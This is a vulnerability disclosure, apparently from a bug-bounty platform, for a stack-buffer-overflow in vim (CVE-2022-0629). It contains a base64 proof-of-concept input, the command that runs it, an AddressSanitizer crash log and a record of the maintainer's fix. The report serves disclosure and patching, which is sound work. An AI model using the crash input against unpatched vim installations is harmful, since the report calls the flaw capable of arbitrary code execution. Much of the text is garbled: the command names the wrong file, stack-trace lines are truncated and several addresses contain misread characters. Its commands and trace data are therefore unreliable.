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# Stack-based Buffer Overflow in vim/vim



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# Description

Buffer overflow occurs in ga\_concat\_shorten\_esc(). commit: f5288c589500de0677444af4a428cfbccfccb8ce

# **Proof of Concept**

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# poc
$ echo -ne "bm9ybTEwMGdy3YAKZnUqUiqpCmxLdCBsaW5LPWdLdGxpbmUoMSkKcmV0dSBsaW5
bGwgYXNzZXJ0X2VxdWFsKDEsUigpKQo=" | base64 -d > poc
# ASAN
$ ./src/vim.asan -u NONE -i NONE -n -X -Z -e -m -s -S mpoc -c ":qa!"
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==1282255==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x6110
READ of size 1 at 0x611000001992 thread T0
   #0 0xc512ef in ga concat shorten esc /home/alkyne/vim-debug/src/testing
   #1 0xc4bdd1 in fill assert error /home/alkyne/vim-debug/src/testing.c:2
   #2 0xc498a4 in assert equal common /home/alkyne/vim-debug/src/testing.c
   #3 0xc4972a in f assert equal /home/alkyne/vim-debug/src/testing.c:411:
   #4 0x63311b in call internal func /home/alkyne/vim-debug/src/evalfunc.c
   #5 0xcc0dfc in call func /home/alkyne/vim-debug/src/userfunc.c:3558:14
   #6 0xcbf004 in get func tv /home/alkyne/vim-debug/src/userfunc.c:1782:8
   #7 0xce002e in ex call /home/alkyne/vim-debug/src/userfunc.c:5398:6
   #8 0x6be248 in do one cmd /home/alkyne/vim-debug/src/ex docmd.c:2567:2
   #9 0x6b1cf2 in do cmdline /home/alkyne/vim-debug/src/ex docmd.c:993:17
   #10 0xad0efe in do source /home/alkyne/vim-debug/src/scriptfile.c:1516:
   #11 0xace6bc in cmd source /home/alkyne/vim-debug/src/scriptfile.c:1098
   #12 Oxace43d in ex source /home/alkyne/vim-debug/src/scr
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   #13 0x6be248 in do one cmd /home/alkyne/vim-debug/src/e
   #14 0x6b1cf2 in do cmdline /home/alkyne/vim-debug/src/ex docmd.c:993:17
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#15 0x6b4fb0 in do cmdline cmd /home/alkyne/vim-debug/src/ex docmd.c:58
   #16 0xe9e4c4 in exe commands /home/alkyne/vim-debug/src/main.c:3089:2
   #17 Oxe9c1fe in vim main2 /home/alkyne/vim-debug/src/main.c:772:2
   #18 0xe95e3b in main /home/alkyne/vim-debug/src/main.c:424:12
   #19 0x7fffff7bf80b2 in libc start main /build/glibc-eX1tMB/glibc-2.31,
   #20 0x41ea0d in start (/home/alkyne/vim-debug/src/vim.asan+0x41ea0d)
0x611000001992 is located 199 bytes to the right of 203-byte region [0x6110]
allocated by thread T0 here:
   #0 0x49b1bd in interceptor malloc (/home/alkyne/vim-debug/src/vim.asa
   #1 0x4cd318 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11
   #2 0x4cd269 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
   #3 0xba8c71 in string quote /home/alkyne/vim-debug/src/strings.c:782:13
   #4 0x617017 in echo string core /home/alkyne/vim-debug/src/eval.c:5202:
   #5 0xc87bfa in tv2string /home/alkyne/vim-debug/src/typval.c:2186:12
   #6 0xc4bdc6 in fill assert error /home/alkyne/vim-debug/src/testing.c:2
   #7 Oxc498a4 in assert equal common /home/alkyne/vim-debug/src/testing.c
   #8 0xc4972a in f assert equal /home/alkyne/vim-debug/src/testing.c:411:
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   #16 Oxace6bc in cmd source /home/alkyne/vim-debug/src/scriptfile.c:1098
   #17 Oxace43d in ex source /home/alkyne/vim-debug/src/scriptfile.c:1124:
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SUMMARY: AddressSanitizer: stack-buffer-overflow /home/alkyne/vim-debug/src
Shadow bytes around the buggy address:
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 0x0c227fff82f0: 06 fa fa
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0x0c22/ttt8310: 00 00 00 00 00 00 00 00 03 ta ta ta ta ta
 =>0x0c227fff8330: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
 0x0c227fff8340: fa fa
 Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable:
                00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone:
                 fa
 Freed heap region:
                  fd
 Stack left redzone:
                 f1
 Stack mid redzone:
                  f2
 Stack right redzone:
                  f3
 Stack after return:
                  f5
 Stack use after scope:
                 f8
 Global redzone:
                  f9
 Global init order:
                  f6
 Poisoned by user:
                  f7
 Container overflow:
                  fc
 Array cookie:
                  ac
 Intra object redzone:
                  bb
 ASan internal:
                  fe
 Left alloca redzone:
                  ca
 Right alloca redzone:
                  cb
==1282255==ABORTING
```



## **Impact**

This vulnerability is capable of arbitrary code execution.

CVE CVE-2022-0629 (Published)

Vulnerability Type

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#### Severity

#### Visibility

#### Status

### Found by



### alkyne Choi

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#### Fixed by



Bram Moolenaar

maintainer

We are processing your report and will contact the vim team within 24 hours. 9 months ago

Bram Moolenaar validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty 🗸

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago

Maintainer

Fixed with patch 8.2.4397

Bram Moolenaar marked this as fixed in 8.2 with commit 34f811 9 months ago

Bram Moolenaar has been awarded the fix bounty 🗸



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